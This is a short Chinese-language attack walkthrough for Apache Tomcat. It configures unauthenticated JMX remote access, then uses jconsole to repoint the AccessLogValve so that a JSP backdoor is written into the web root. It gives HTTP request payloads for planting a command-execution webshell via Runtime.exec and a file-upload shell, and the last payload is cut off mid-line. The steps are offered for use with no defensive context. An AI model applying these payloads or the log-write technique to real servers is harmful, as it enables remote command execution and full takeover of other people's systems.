1、 配置tomcat启动jconsole到1099端口的配置：
参考文章：https://www.cnblogs.com/baihuitestsoftware/articles/6405580.html

//可以将其设置为无密码访问:

cd /opt/apache-tomcat-8.0.3/bin
vi catalina.sh
# OS specific support. $var _must_ be set to either true or false.添加如下变量：
CATALINA_OPTS="$JAVA_OPTS -Djava.rmi.server.hostname=192.168.1.100 
-Dcom.sun.management.jmxremote.port=1099 
-Dcom.sun.management.jmxremote.authenticate=false 
-Dcom.sun.management.jmxremote.ssl=false"

//重启tomcaty
./shutdown.sh
./startup.sh

2、 本地->运行输入：jconsole

//VM概要中获得tomcat的web主目录 ：
Dcatalina.home=/opt/apache-tomcat-8.0.3

//获得/manager/html后台的访问密码：

//上传webshell:
MBeans->Catalina->Valve->localhost->AccessLogValue->操作 可以写入jsp后门：
../webapps/docs/test11.jsp //测试成功
/opt/apache-tomcat-8.0.3/webapps/docs/test11.jsp

//使用burpsuite写入cmd后门：
1)
GET /test?<%Runtime.getRuntime().exec(request.getParameter(“cmd”));%> HTTP/1.1
Host: 192.168.1.100:8080

2)

GET /test?<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"></jsp:directive><jsp:directive.page import="java.io.OutputStream"></jsp:directive><jsp:directive.page import="java.io.FileOutputStream"></jsp:directive><% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>0<%}}if(i==0){%>1<%}%><form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart"> HTTP/1.1
